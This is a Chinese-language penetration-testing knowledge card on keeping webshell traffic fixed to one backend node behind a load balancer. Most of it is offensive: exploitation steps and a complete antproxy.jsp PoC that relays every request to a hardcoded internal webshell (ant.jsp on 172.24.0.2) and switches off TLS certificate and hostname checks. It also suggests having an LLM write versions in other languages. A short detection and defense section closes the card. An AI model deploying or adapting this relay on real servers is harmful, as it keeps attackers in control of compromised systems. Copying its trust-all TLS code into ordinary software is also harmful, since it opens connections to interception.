负载均衡文件同步下的 Webshell 定向转发:antproxy.jsp 把请求固定转发到内网单一 node
pentest/c2 · verified
一句话结论
负载均衡已做文件同步时,所有 node 都有 webshell,但请求仍会轮询到不同 node;在能访问的 Web 目录再上传一个 antproxy.jsp 转发脚本,它把收到的任意请求原样转发到硬编码的内网某一 node 的 webshell(如 http://172.24.0.2:8080/ant.jsp),再把响应回传,webshell 客户端只连 http://LB/antproxy.jsp 即可把所有操作固定到同一 node。
原理
- 文件同步不等于会话固定:所有 node 的文件一致,但每次 HTTP 请求仍可能落到不同 node;对有状态操作、分块上传、需固定上下文的 webshell 操作,仍需要把请求钉在一台 node。
- 转发脚本作为 redirector:
antproxy.jsp运行在任意被轮询到的 node 上,内部用HttpURLConnection打开硬编码的目标 URL(内网某 node 的ant.jsp),读取原始请求的 body 与方法,写入目标连接,再把目标响应 body 写回response.getOutputStream()。 - 不依赖当前 node:无论 LB 把
antproxy.jsp请求分到 node1 还是 node2,脚本都会主动连到172.24.0.2:8080/ant.jsp,因此 webshell 会话的实际处理节点固定。 - HTTPS 支持:若目标是 https,脚本先
ignoreSsl():自定义X509TrustManager信任所有证书,并设置HostnameVerifier恒真,避免自签名/内网证书失败。 - 为什么可行:JSP 在服务端执行,具备发起内网 HTTP 请求的能力;转发脚本只做字节搬运,不改变 webshell payload,客户端工具仍按原协议构造/解析。
- 为什么至少上传两次:第一次用于探测不同 node 的差异(IP、文件、状态码),第二次/第三个文件才是按差异做定向转发的脚本;即使文件同步,也需要先摸清内网 node 地址。
触发条件
- 目标为 Java Web(JSP 可执行),负载均衡后端多 node,文件已同步或至少能将脚本同步到所有 node。
- 攻击者已知/可推测某个内网 node 的地址与 webshell 路径(如
http://172.24.0.2:8080/ant.jsp)。 - 上传目录可写且能访问 JSP;服务端允许
HttpURLConnection出站访问内网 node。 - 需要固定 node 才能完成的操作(大文件分块上传、有状态命令、会话相关逻辑)。
利用步骤
- 用探测 webshell/脚本确认负载均衡与 node 差异(内网 IP、文件、状态码),拿到目标 node 的内网地址和 webshell 路径。
- 上传
ant.jsp(实际 webshell)到目标可访问路径,确认在某一 node 可用。 - 上传
antproxy.jsp,把其中target改为该 node 的 webshell URL(如http://172.24.0.2:8080/ant.jsp)。 - webshell 客户端连接
http://<LB>/antproxy.jsp,所有请求由转发脚本送到固定 node。 - 通过该入口执行命令、上传大文件;响应由脚本回传,客户端无感。
PoC
antproxy.jsp 核心(原文简化):
<%@ page import="java.net.*, java.io.*, javax.net.ssl.*, java.security.cert.X509Certificate" %>
<%!
void ignoreSsl() throws Exception {
TrustManager[] trustAll = new TrustManager[]{ new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() { return null; }
public void checkClientTrusted(X509Certificate[] c, String a) {}
public void checkServerTrusted(X509Certificate[] c, String a) {}
}};
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAll, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
HttpsURLConnection.setDefaultHostnameVerifier((h, s) -> true);
}
%>
<%
String target = "http://172.24.0.2:8080/ant.jsp"; // 固定内网 node 的 webshell
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) ignoreSsl();
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true); conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream body = new ByteArrayOutputStream();
DataInputStream in = new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024]; int len;
while ((len = in.read(buf)) != -1) body.write(buf, 0, len);
body.writeTo(conn.getOutputStream());
InputStream is = conn.getInputStream();
OutputStream os = response.getOutputStream();
while ((len = is.read(buf)) != -1) os.write(buf, 0, len);
os.flush(); os.close();
%>
要点:target 必须是内网可达的固定 node webshell;转发脚本自身可被轮询到任意 node,但请求最终都落到 target。
变体与关联
- 其他语言转发:PHP/ASP/ASPX 也可写等价反向代理脚本(
file_get_contents/HttpWebRequest),原理相同;原文提到其他语言负载较少,可直接让 LLM 生成。 - 隧道型变体:若需要多路复用/正向连接而非单纯 HTTP 转发,可用 JSP 隧道脚本(如 joda/smux)建立更稳定的通道,见
pentest-c2-forward-node-jsp-joda-smux-tunnel。 - 已同步 vs 未同步:未同步负载均衡用 mitmproxy 404 重试,见
pentest-c2-webshell-loadbalancer-mitmproxy-404-retry;本卡适用于文件已同步但需固定 node 的场景。 - 关联卡:
pentest-c2-webshell-upload-size-limit-split-join解决单机大文件分块,本卡解决分块请求被 LB 打散/固定节点问题。
检测与防御
- Web 服务器/Java 应用禁止不必要的出站 HTTP 请求,限制可访问内网地址段(egress ACL),让转发脚本无法连到其它 node。
- 上传目录禁止 JSP 执行,文件完整性监控检测新增
.jsp;WAF 检测请求体/响应体为二进制 webshell 协议、antproxy等特征。 - 负载均衡配置会话粘滞或后端共享存储,减少攻击者固定 node 的收益;对同一客户端异常的请求转发/回环流量告警。
- 监控 Web 进程发起的内网 HTTP 连接、JSP 中出现
HttpURLConnection/X509TrustManager等转发特征。